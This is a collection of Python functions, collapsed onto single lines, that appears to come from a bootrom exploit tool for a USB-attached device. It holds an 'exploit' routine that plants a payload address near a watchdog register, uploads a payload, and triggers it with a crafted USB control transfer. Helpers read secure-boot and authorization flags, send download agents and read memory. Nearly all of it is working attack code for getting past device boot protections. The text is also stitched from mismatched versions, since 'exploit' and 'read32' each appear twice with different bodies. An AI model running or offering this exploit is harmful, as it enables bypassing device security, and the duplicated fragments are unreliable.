def exploit(device, watchdog_address, payload_address, var_0, var_1, payload): addr = watchdog_address + 0x50 device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<')) if var_0: readl = var_0 + 0x4 device.read32(addr - var_0, readl // 4) else: cnt = 15 for i in range(cnt): device.read32(addr - (cnt - i) * 4, cnt - i + 1) # replace watchdog_address in generic payload payload = bytearray(payload) if from_bytes(payload[-4:], 4, '<') == 0x10007000: payload[-4:] = to_bytes(watchdog_address, 4, '<') payload = bytes(payload) while len(payload) % 4 != 0: payload += to_bytes(0) if len(payload) >= 0xA00: raise RuntimeError("payload too large") device.echo(0xE0) device.echo(len(payload), 4) # clear 2 bytes device.read(2) device.write(payload) # clear 4 bytes device.read(4) udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3) try: # noinspection PyProtectedMember udev._ctx.managed_claim_interface = lambda *args, **kwargs: None except AttributeError as e: raise RuntimeError("libusb is not installed for port {}".format( device.dev.port)) from e try: udev.ctrl_transfer(0xA1, 0, 0, var_1, 0) except usb.core.USBError as e: print(e) # We don't need to wait long, if we succeeded device.dev.timeout = 1 try: pattern = device.read(4) except SerialException as e: print(e) return False return pattern
def get_hw_code(self): self.echo(0xFD) hw_code = self.dev.read(2) status = self.dev.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status)) return from_bytes(hw_code, 2)
def get_hw_dict(self): self.echo(0xFC) hw_sub_code = self.dev.read(2) hw_ver = self.dev.read(2) sw_ver = self.dev.read(2) status = self.dev.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status.hex())) return from_bytes(hw_sub_code, 2), from_bytes(hw_ver, 2), from_bytes(sw_ver, 2)
def exploit(device, watchdog_address, payload_address, var_0, var_1, payload): addr = watchdog_address + 0x50 device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<')) if var_0: readl = var_0 + 0x4 device.read32(addr - var_0, readl // 4) else: cnt = 15 for i in range(cnt): device.read32(addr - (cnt - i) * 4, cnt - i + 1) device.echo(0xE0) device.echo(len(payload), 4) status = device.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status.hex())) device.write(payload) # clear 4 bytes device.read(4) udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3) try: # noinspection PyProtectedMember udev._ctx.managed_claim_interface = lambda *args, **kwargs: None except AttributeError as e: raise RuntimeError("libusb is not installed for port {}".format( device.dev.port)) from e try: udev.ctrl_transfer(0xA1, 0, 0, var_1, 0) except usb.core.USBError as e: print(e) # We don't need to wait long, if we succeeded # noinspection PyBroadException try: device.dev.timeout = 1 except Exception: pass try: pattern = device.read(4) except SerialException as e: print(e) return False return pattern
def prepare_payload(config): with open(PAYLOAD_DIR + config.payload, "rb") as payload: payload = payload.read() # replace watchdog_address and uart_base in generic payload payload = bytearray(payload) if from_bytes(payload[-4:], 4, '<') == 0x10007000: payload[-4:] = to_bytes(config.watchdog_address, 4, '<') if from_bytes(payload[-8:][:4], 4, '<') == 0x11002000: payload[-8:] = to_bytes(config.uart_base, 4, '<') + payload[-4:] payload = bytes(payload) while len(payload) % 4 != 0: payload += to_bytes(0) return payload
def get_target_config(self): self.echo(0xD8) target_config = self.dev.read(4) status = self.dev.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status.hex())) target_config = from_bytes(target_config, 4) secure_boot = target_config & 1 serial_link_authorization = target_config & 2 download_agent_authorization = target_config & 4 # noinspection PyCallByClass return bool(secure_boot), bool(serial_link_authorization), bool(download_agent_authorization)
def jump_da(self, da_address): self.echo(0xD5) self.echo(da_address, 4) status = self.dev.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status.hex()))
def read32(self, addr, size=1): result = [] self.echo(0xD1) self.echo(addr, 4) self.echo(size, 4) assert from_bytes(self.dev.read(2), 2) <= 0xff for _ in range(size): data = from_bytes(self.dev.read(4), 4) result.append(data) assert from_bytes(self.dev.read(2), 2) <= 0xff # support scalar if len(result) == 1: return result[0] else: return result
def send_da(self, da_address, da_len, sig_len, da): self.echo(0xD7) self.echo(da_address, 4) self.echo(da_len, 4) self.echo(sig_len, 4) status = self.dev.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status.hex())) self.dev.write(da) checksum = self.dev.read(2) status = self.dev.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status.hex())) return from_bytes(checksum, 2)
def read32(self, addr, size=1): result = [] self.echo(0xD1) self.echo(addr, 4) self.echo(size, 4) self.check(self.dev.read(2), to_bytes(0, 2)) # arg check for _ in range(size): data = from_bytes(self.dev.read(4), 4) result.append(data) self.check(self.dev.read(2), to_bytes(0, 2)) # status # support scalar if len(result) == 1: return result[0] else: return result
def echo(self, words, size=1): self.write(words, size) self.check(from_bytes(self.read(size), size), words)